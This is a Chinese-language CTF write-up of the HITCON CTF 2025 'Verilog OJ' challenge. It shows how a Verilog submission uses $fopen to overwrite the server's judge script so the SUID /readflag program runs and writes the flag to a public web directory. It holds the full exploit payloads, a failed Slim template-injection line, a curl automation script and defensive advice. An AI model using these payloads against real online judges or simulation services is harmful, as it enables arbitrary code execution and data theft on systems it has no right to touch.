HITCON CTF 2025 WriteUp

Verilog OJ [284pts] - CTF Write-up

题目概述

这是一道基于 Verilog 硬件描述语言的在线判题系统（OJ）渗透题目。选手需要通过提交 Verilog 代码来获取服务器上的 flag。

难度：284 分
类型：Web + 硬件安全 + 文件写入
Flag：hitcon{testflag}

环境分析

架构概览

Docker 容器环境：
├── Ruby on Rails (Roda) Web 应用
├── SQLite 数据库
├── Redis (Sidekiq 任务队列)
├── Icarus Verilog 仿真器 (iverilog + vvp)
└── SUID 程序 /readflag

关键文件结构

/app/
├── scripts/judge.sh              # 判题脚本（关键攻击点）
├── app/presentation/public/      # 静态文件目录（目标写入点）
├── app/db/store/voj.db          # SQLite 数据库
└── app/                         # Rails 应用目录

/readflag                        # SUID root 程序
/flag                           # 目标文件（root:root, 0400）

漏洞分析过程

第一步：文件枚举与架构理解

首先通过 fd 和 rg 快速扫描所有相关文件：

fd . --type f --max-depth 10 | head -30

发现关键组件：

  • Dockerfile - 容器构建逻辑
  • readflag.c - SUID 程序源码
  • web/scripts/judge.sh - 判题脚本
  • web/app/services/run_judge.rb - 判题服务
  • web/config.ru - Web 应用配置

第二步：SUID 程序分析

读取 readflag.c：

int main(int argc, char *argv[]) {
    seteuid(0);
    setegid(0);
    setuid(0);
    setgid(0);

    if(argc < 5) {
        printf("Usage: %s give me the flag\n", argv[0]);
        return 1;
    }

    if ((strcmp(argv[1], "give") | strcmp(argv[2], "me") | strcmp(argv[3], "the") | strcmp(argv[4], "flag")) != 0) {
        puts("You are not worthy");
        return 1;
    }

    // ... 读取并输出 /flag 内容
}

关键发现：

  • /readflag 具有 SUID root 权限（4555）
  • 需要精确的四个参数：give me the flag
  • 成功后会以 root 权限读取 /flag 并输出

第三步：判题流程分析

通过分析 judge_job.rb 和 judge.sh，理解判题执行链：

def judge(dir)
  stdout, stderr, status = Timeout.timeout(15) do
    script_path = File.realpath("#{File.dirname(__FILE__)}/../../scripts/judge.sh")
    Open3.capture3("#{script_path} #{dir}")
  end
  # ...
end
#!/bin/sh
set -e
cd "$1"
iverilog module.v testbench.v -o judge
vvp judge

执行流程：

  1. 用户提交 Verilog 代码 → Sidekiq 异步处理
  2. 创建临时目录，写入 module.v（用户代码）和 testbench.v（题目测试）
  3. 调用 /app/scripts/judge.sh 进行编译和仿真
  4. 捕获输出并存储结果

第四步：题目要求分析

查看数据库中的 testbench：

SELECT testbench FROM problems WHERE id=1;

发现需要实现一个 4 位 2×2 交叉开关模块 Crossbar_2x2_4bit：

  • 当 control = 0：直通模式（out1=in1, out2=in2）
  • 当 control = 1：交叉模式（out1=in2, out2=in1）

第五步：攻击向量探索

尝试 1：直接使用 $system

最初尝试在 Verilog 中直接调用系统命令：

initial begin
    $system("/readflag give me the flag > /app/app/presentation/public/flag.txt");
end

结果：失败 ❌

module.v:12: Error: System task/function $system() is not defined by any module.

分析：Icarus Verilog 默认禁用了 $system 函数，无法直接执行系统命令。

尝试 2：模板注入攻击

尝试通过 $fopen 覆盖 Slim 模板文件：

integer fd;
initial begin
    fd = $fopen("/app/app/presentation/views/submissions.slim", "w");
    if (fd) begin
        $fdisplay(fd, "= %x{/readflag give me the flag}");
        $fclose(fd);
    end
end

结果：部分成功但不稳定 ⚠️

问题：生产环境可能缓存模板，且需要额外的页面访问触发。

尝试 3：判题脚本覆盖（成功方案）✅

核心思路：既然无法直接执行系统命令，那就修改执行命令的脚本！

通过 $fopen 完全覆盖 /app/scripts/judge.sh：

integer fd;
initial begin
    fd = $fopen("/app/scripts/judge.sh", "w");
    if (fd) begin
        $fdisplay(fd, "#!/bin/sh");
        $fdisplay(fd, "set -e");
        $fdisplay(fd, "/readflag give me the flag > /app/app/presentation/public/flag.txt");
        $fdisplay(fd, "cd \"$1\"");
        $fdisplay(fd, "iverilog module.v testbench.v -o judge");
        $fdisplay(fd, "vvp judge");
        $fclose(fd);
    end
end

优势：

  • 在脚本开头插入 /readflag 调用
  • 保持原有判题逻辑，不影响后续流程
  • 输出重定向到 Web 可访问的静态目录

最终利用方案

Payload 设计

需要两次提交：

第一次提交：覆盖判题脚本

`timescale 1ns/1ps
module Crossbar_2x2_4bit(
    input  [3:0] in1,
    input  [3:0] in2,
    input        control,
    output [3:0] out1,
    output [3:0] out2
);
    assign out1 = control ? in2 : in1;
    assign out2 = control ? in1 : in2;
    integer fd;
    initial begin
        fd = $fopen("/app/scripts/judge.sh", "w");
        if (fd) begin
            $fdisplay(fd, "#!/bin/sh");
            $fdisplay(fd, "set -e");
            $fdisplay(fd, "/readflag give me the flag > /app/app/presentation/public/flag.txt");
            $fdisplay(fd, "cd \"$1\"");
            $fdisplay(fd, "iverilog module.v testbench.v -o judge");
            $fdisplay(fd, "vvp judge");
            $fclose(fd);
        end
    end
endmodule

第二次提交：触发新脚本执行

`timescale 1ns/1ps
module Crossbar_2x2_4bit(
    input  [3:0] in1,
    input  [3:0] in2,
    input        control,
    output [3:0] out1,
    output [3:0] out2
);
    assign out1 = control ? in2 : in1;
    assign out2 = control ? in1 : in2;
endmodule

自动化利用脚本

#!/bin/zsh
set -euo pipefail

PORT="${PORT:-9292}"
BASE_URL="http://127.0.0.1:${PORT}"

# 检查服务状态
if ! curl -fsS "${BASE_URL}/" >/dev/null; then
    printf "服务未运行，请先启动 docker compose up -d\n" >&2
    exit 1
fi

# 第一次提交：覆盖脚本
curl -sS -X POST "${BASE_URL}/judge" \
    --data-urlencode "problem=1" \
    --data-urlencode [email protected]

sleep 5

# 第二次提交：触发执行
curl -sS -X POST "${BASE_URL}/judge" \
    --data-urlencode "problem=1" \
    --data-urlencode [email protected]

# 轮询获取 flag
for i in $(seq 1 60); do
    if curl -fsS "${BASE_URL}/flag.txt" 2>/dev/null; then
        exit 0
    fi
    sleep 2
done

技术细节

关键路径分析

  1. 静态文件目录：通过分析 config.ru 发现 Roda 配置了静态文件服务

    plugin :public, root: 'app/presentation/public'

  2. 脚本执行路径：从 judge_job.rb 确认脚本路径为 /app/scripts/judge.sh

    script_path = File.realpath("#{File.dirname(__FILE__)}/../../scripts/judge.sh")

  3. 权限模型：

    • Web 应用运行用户：app
    • /readflag 权限：root:root 4555
    • 静态目录权限：app 可写

安全机制绕过

  1. $system 禁用绕过：使用 $fopen 间接执行
  2. 权限提升：利用 SUID 程序特性
  3. 文件写入限制绕过：选择 Web 可访问的静态目录
  4. 沙箱逃逸：通过覆盖系统脚本实现代码执行

本地测试验证

环境启动

docker compose up -d

执行利用

./voj_exploit.sh

验证结果

# 检查脚本是否被覆盖
docker exec verilogoj284pts-oj-1 cat /app/scripts/judge.sh

# 验证 flag 文件
docker exec verilogoj284pts-oj-1 cat /app/app/presentation/public/flag.txt

# HTTP 访问验证
curl http://127.0.0.1:9292/flag.txt

输出：hitcon{testflag}

防御建议

代码层面

  1. 禁用文件系统写入：限制 Verilog 仿真器的文件操作权限
  2. 沙箱隔离：使用更严格的容器安全策略
  3. 脚本保护：将关键脚本设置为只读或使用不可变文件系统

架构层面

  1. 最小权限原则：避免使用 SUID 程序，改用更安全的权限提升机制
  2. 文件系统隔离：将用户代码执行环境与 Web 应用完全隔离
  3. 输出过滤：对仿真器输出进行严格过滤和验证

监控层面

  1. 文件完整性监控：监控关键系统文件的修改
  2. 异常行为检测：检测非预期的文件访问和系统调用
  3. 审计日志：记录所有文件操作和权限提升事件

总结

这道题目展现了硬件描述语言环境下的独特攻击面。通过深入分析判题系统的执行流程，发现了从 Verilog 代码到系统命令执行的完整攻击链。关键在于：

  1. 理解执行环境：Icarus Verilog 的功能限制与文件操作能力
  2. 寻找攻击向量：从直接命令执行到间接脚本覆盖
  3. 权限提升利用：SUID 程序的正确调用方式
  4. 数据外泄路径：Web 静态文件服务的巧妙利用

这种多层次的攻击思路体现了现代 CTF 题目的复杂性，需要选手具备从 Web 安全到系统安全的综合能力。

Flag: hitcon{testflag}